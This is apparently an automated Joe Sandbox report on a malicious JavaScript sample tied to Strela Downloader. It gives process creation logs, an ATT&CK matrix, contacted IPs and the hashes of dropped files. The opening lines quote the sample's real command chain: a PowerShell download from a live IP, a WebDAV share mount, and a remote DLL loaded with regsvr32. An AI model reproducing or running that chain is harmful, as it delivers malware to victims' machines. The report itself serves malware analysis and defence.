Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1808220077299634192.js	0%	ReversingLabs
1808220077299634192.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/9	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/e	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/er	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
x1.i.lencr.org	unknown	unknown	false	high
206.23.85.13.in-addr.arpa	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/9	net.exe, 00000007.00000002.2226605775.000001870919C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2226842247.0000026F16250000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3420018490.0000026F16484000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/e	net.exe, 00000007.00000002.2226605775.000001870919C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/er	net.exe, 00000007.00000002.2226605775.000001870919C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2226605775.0000018709168000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2226605775.000001870919C000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587942
Start date and time:	2025-01-10 19:36:26 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1808220077299634192.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 199.232.214.172, 2.16.168.105, 2.16.168.107, 2.22.50.151, 2.16.168.125, 13.107.246.45, 20.109.210.53, 52.6.155.20, 104.126.112.182, 13.85.23.206, 4.175.87.197
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
13:37:24	API Interceptor	21x Sleep call for process: powershell.exe modified
13:37:28	API Interceptor	1x Sleep call for process: net.exe modified
13:37:28	API Interceptor	2x Sleep call for process: svchost.exe modified
13:37:35	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2628895762659930884.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1932574451821324222.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9191198332977923109.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	390712401072120127.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1956351416528695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2843421561127533345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	853025795686920641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1932574451821324222.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	9191198332977923109.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1956351416528695.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	301901880157741390.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2628895762659930884.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15410205613216010723.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1932574451821324222.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9191198332977923109.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	958713604204492412.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	390712401072120127.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1956351416528695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	74771923457277117.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7262995197107597
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0K:9JZj5MiKNnNhoxuj
MD5:	6EFCFB91C5791EC43A580B3EA505C366
SHA1:	9EA81BAD578D1C9360253435CB1EAA99D24B5E6F
SHA-256:	B5FD8FD928F9087FED2F86A8EF3A9A7BDB2A5490EFB54AF20689211BF754E4B7
SHA-512:	54064420C8F80F151712DB57E827D4A2B6F9B2BC67436F1A4FDE015F973FAB25C9FB7DAA91099D70B856E836C55066735244A6655789339AFF82FC14A0C5037A
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x61f6624f, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555213501848139
Encrypted:	false
SSDEEP:	1536:FSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:FazaSvGJzYj2UlmOlOL
MD5:	939140BFE22B337DA18EDFDD3F2E14BE
SHA1:	8A1CD035B610F993A98AA3AB07D36D8D6A6419A1
SHA-256:	C03DA048D8226265DBB669FF4FC026A5B209A14633BA19A93D8A84A7B6C89CD6
SHA-512:	ADA88EBA47EA1905C927525661E807C3EBF7B460A82199206040DE0FDD5518CC556B2C29CBFB9DAC2D3FCC995B35C0520BFE0B2489E4CAD844CDAE6CC5CF0CDA
Malicious:	false
Preview:	a.bO... .......7.......X\...;...{......................0.e......!...{?..%...}m.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{...................................d.C.%...}...................se..%...}m..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07804908567540941
Encrypted:	false
SSDEEP:	3:J/8YePS8/0c3NaAPaU1luvq//AlluxmO+l/SNxOf:x8zPyENDPaUtAgmOH
MD5:	394014E3E6D17DEF58CCE454A39F7646
SHA1:	E167FD602F07732F3E55A29908ED58DEC67625EF
SHA-256:	79BE2C3C4BFDFCAAD1AD820B997CC2FC564BAB5AE017A9E53B67C6861EEC4C47
SHA-512:	D550B2769E46F7B675600A7EB2BAA91A0A0E63B0EEBAF95DF4240950B92E1FF7EF3104CD7F1710139E8648DFEAC3F3D5665813D1540A9CFF85A8D74256C8470F
Malicious:	false
Preview:	.........................................;...{...%...}m..!...{?..........!...{?..!...{?..g...!...{?..................se..%...}m.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.1913345922906355
Encrypted:	false
SSDEEP:	6:iO4kjn+q2PN72nKuAl9OmbnIFUtSkjJmWZmwskjJNVkwON72nKuAl9OmbjLJ:7N+vVaHAahFUthmW/vNV5OaHAaSJ
MD5:	CDCC4EB1B347B44C0956D2E87461F016
SHA1:	DD04A3B1F4C3E534B010DB5A05ECBE0E53626516
SHA-256:	981A01E7B551DF6ED61D4E9DA0AA06B001E377D97134D328EB2C55E16A854993
SHA-512:	08D1A563F5AD2BADAC55C52388F5B441311105C86BF93F74C61C5FD364D4CDBBC221870DB6058C79B9C990F602C64EDE7E693E1AA364874F161ABC688A33E18B
Malicious:	false
Preview:	2025/01/10-13:37:28.225 163c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:37:28.229 163c Recovering log #3.2025/01/10-13:37:28.229 163c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.1913345922906355
Encrypted:	false
SSDEEP:	6:iO4kjn+q2PN72nKuAl9OmbnIFUtSkjJmWZmwskjJNVkwON72nKuAl9OmbjLJ:7N+vVaHAahFUthmW/vNV5OaHAaSJ
MD5:	CDCC4EB1B347B44C0956D2E87461F016
SHA1:	DD04A3B1F4C3E534B010DB5A05ECBE0E53626516
SHA-256:	981A01E7B551DF6ED61D4E9DA0AA06B001E377D97134D328EB2C55E16A854993
SHA-512:	08D1A563F5AD2BADAC55C52388F5B441311105C86BF93F74C61C5FD364D4CDBBC221870DB6058C79B9C990F602C64EDE7E693E1AA364874F161ABC688A33E18B
Malicious:	false
Preview:	2025/01/10-13:37:28.225 163c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:37:28.229 163c Recovering log #3.2025/01/10-13:37:28.229 163c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.133273582403651
Encrypted:	false
SSDEEP:	6:iO4kjs5q2PN72nKuAl9Ombzo2jMGIFUtSkj3qZmwsk2vOzkwON72nKuAl9Ombzos:7W5vVaHAa8uFUtvq/cW5OaHAa8RJ
MD5:	2150B6DF6F2ED74880E0343DFC8985F8
SHA1:	62174A2DCCF5347992759F9B802557A648B35510
SHA-256:	3A014B1A764401624B52A91834574C76DFE29F18AF86C8680D7D627A55317899
SHA-512:	4146753CA6832C0D3750755E4435145B14ED46F159D632229C89F492AD7A720F358C4A900A124C8BC57F7767B66459D70CCAE7652B7129343B4DC1F6D4190F73
Malicious:	false
Preview:	2025/01/10-13:37:28.298 1cc0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:37:28.299 1cc0 Recovering log #3.2025/01/10-13:37:28.300 1cc0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.133273582403651
Encrypted:	false
SSDEEP:	6:iO4kjs5q2PN72nKuAl9Ombzo2jMGIFUtSkj3qZmwsk2vOzkwON72nKuAl9Ombzos:7W5vVaHAa8uFUtvq/cW5OaHAa8RJ
MD5:	2150B6DF6F2ED74880E0343DFC8985F8
SHA1:	62174A2DCCF5347992759F9B802557A648B35510
SHA-256:	3A014B1A764401624B52A91834574C76DFE29F18AF86C8680D7D627A55317899
SHA-512:	4146753CA6832C0D3750755E4435145B14ED46F159D632229C89F492AD7A720F358C4A900A124C8BC57F7767B66459D70CCAE7652B7129343B4DC1F6D4190F73
Malicious:	false
Preview:	2025/01/10-13:37:28.298 1cc0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:37:28.299 1cc0 Recovering log #3.2025/01/10-13:37:28.300 1cc0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqTEsBdOg2HKcaq3QYiubcP7E4T3y:Y2sRdswpdMHl3QYhbA7nby
MD5:	E3215F42B166FA15BF8E124AEFC0D7E9
SHA1:	7B73DFD6902415CAAB42325A1561FE6CB8019C0E
SHA-256:	90A11ADD2603CD771129665D2B1CFE05F12BCD6ADF93FF4557EB212B8F6BCC4E
SHA-512:	71D6D4B34DB309595F80842B5C3DCF90818937CD053FE9954EE95315B9EA3253847CE8D5B170BE432D35DD54A6775FDDEDBE0DC1227733C775A6B38900758328
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381094260031243","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":140728},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f28c7a85-62da-4ab9-aff9-e1cc1d6678b5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqTEsBdOg2HKcaq3QYiubcP7E4T3y:Y2sRdswpdMHl3QYhbA7nby
MD5:	E3215F42B166FA15BF8E124AEFC0D7E9
SHA1:	7B73DFD6902415CAAB42325A1561FE6CB8019C0E
SHA-256:	90A11ADD2603CD771129665D2B1CFE05F12BCD6ADF93FF4557EB212B8F6BCC4E
SHA-512:	71D6D4B34DB309595F80842B5C3DCF90818937CD053FE9954EE95315B9EA3253847CE8D5B170BE432D35DD54A6775FDDEDBE0DC1227733C775A6B38900758328
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381094260031243","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":140728},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.247785064004607
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7DmTgE:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhs
MD5:	F53F55DE93425FACFD5AE523EB9E95BD
SHA1:	FF9C36BF306DE779723770D75344EA05D9734BE1
SHA-256:	516E7203FA9E049BC35EF235DA83DB97E50115B0F067EC7BB1FF165C611CF9D8
SHA-512:	B6A41CEDB820ACDF00EC62DE73E20ADAC82BEF3F131DB909C13843494C61D7F812C0BC282A22592C5002229DE6B159C273939F1A6654392D0968AF801F320FC2
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.167214646620084
Encrypted:	false
SSDEEP:	6:iO4knZvIq2PN72nKuAl9OmbzNMxIFUtSkn2CFZZmwsknOkwON72nKuAl9OmbzNMT:78vVaHAa8jFUt/FZ/w5OaHAa84J
MD5:	7EA44B0C25D98AC8B7C2F4C749998023
SHA1:	43A3097E11F0FDDF5693CDA69119DAD67795D148
SHA-256:	3C72D121F9E795D0F63B37E77FF61A0F7F51A3DB3A647E53740DCB6CB2934A7A
SHA-512:	2FDD13B58822A7CBB1438F2FF45C6E67EE7943EA3011390542C03122341A26183E25FE13CB9D0C6F89A018208CB25CEB186192B80CD376A3D8034481FF2B583A
Malicious:	false
Preview:	2025/01/10-13:37:28.612 1cc0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:37:28.645 1cc0 Recovering log #3.2025/01/10-13:37:28.646 1cc0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.167214646620084
Encrypted:	false
SSDEEP:	6:iO4knZvIq2PN72nKuAl9OmbzNMxIFUtSkn2CFZZmwsknOkwON72nKuAl9OmbzNMT:78vVaHAa8jFUt/FZ/w5OaHAa84J
MD5:	7EA44B0C25D98AC8B7C2F4C749998023
SHA1:	43A3097E11F0FDDF5693CDA69119DAD67795D148
SHA-256:	3C72D121F9E795D0F63B37E77FF61A0F7F51A3DB3A647E53740DCB6CB2934A7A
SHA-512:	2FDD13B58822A7CBB1438F2FF45C6E67EE7943EA3011390542C03122341A26183E25FE13CB9D0C6F89A018208CB25CEB186192B80CD376A3D8034481FF2B583A
Malicious:	false
Preview:	2025/01/10-13:37:28.612 1cc0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:37:28.645 1cc0 Recovering log #3.2025/01/10-13:37:28.646 1cc0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444617077061214
Encrypted:	false
SSDEEP:	384:ye6ci5tZiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:m6s3OazzU89UTTgUL
MD5:	6ECCB898BED88A94172215B2F4F2F127
SHA1:	0D912DD3A69F7D3171788870C11FC89501625910
SHA-256:	33E07978195F46F60D2FF4F23DE728F90FE036B974C43A895C34E550963F1A5C
SHA-512:	1565893496DA4932A4B7FA1DF84816D9815E6A7A50DA580896402AFC1A0B702B8981D245FE6DFA7F13CAEE81197D0CB124CDAD085A1192C784E572E0DBED3823
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7663811341835034
Encrypted:	false
SSDEEP:	48:7MB8JioyVuioy4oy1C7oy16oy1gKOioy1noy1AYoy1Wioy1oioykioyBoy1noy18:7JJuuMrXjBiYb9IVXEBodRBkJ
MD5:	FA73D4EDE3EF10D6E98AC81F0B802F29
SHA1:	9F9333A0C400547834693366D3F4276CDE7062D4
SHA-256:	2850EEAC8D83E65C1E8175F5815FAE18BBBEB7D87602BB23D6D27ED86CE85CF6
SHA-512:	DEE10039A7013527B825F4D2F3998D01E514D9EF2A9EEFCC59D444C69B2E0B0CAAF8779174B642577CAEF45FAEA43E8EF34C728BD5489DCA585AA0D976CD3ED2
Malicious:	false
Preview:	.... .c.......2................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
